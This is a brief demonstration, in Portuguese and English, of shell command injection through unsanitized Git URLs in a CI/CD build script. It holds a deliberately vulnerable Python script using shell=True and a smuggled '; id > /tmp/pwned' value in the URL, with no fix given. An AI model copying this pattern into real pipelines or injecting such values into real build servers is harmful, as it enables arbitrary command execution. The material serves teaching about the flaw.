
Demonstra injeção de comandos por meio de URLs Git não sanitizadas em pipelines de CI/CD, incluindo um script de build vulnerável e um exemplo de exploit para uma CVE crítica.
# cicd_build.py - Clones repository without sanitizing URL
import subprocess, sys
def clone_and_build(repo_url):
# Vulnerability: repo_url can contain shell metacharacters
cmd = f"git clone {repo_url} /tmp/repo"
subprocess.check_call(cmd, shell=True)
# Build steps...
if __name__ == '__main__':
# Simulate attacker-controlled input
malicious_url = "https://github.com/org/repo.git; id > /tmp/pwned"
clone_and_build(malicious_url)
Um script de pipeline de CI/CD usa URLs de repositório Git fornecidas pelo usuário sem sanitização em um comando shell. Um atacante pode injetar comandos shell incluindo caracteres especiais (por exemplo, ;, &&) na URL, levando à execução arbitrária de comandos no servidor de build.
Execute o script vulnerável:
python cicd_build.py
Ele executa o comando id injetado, criando /tmp/pwned.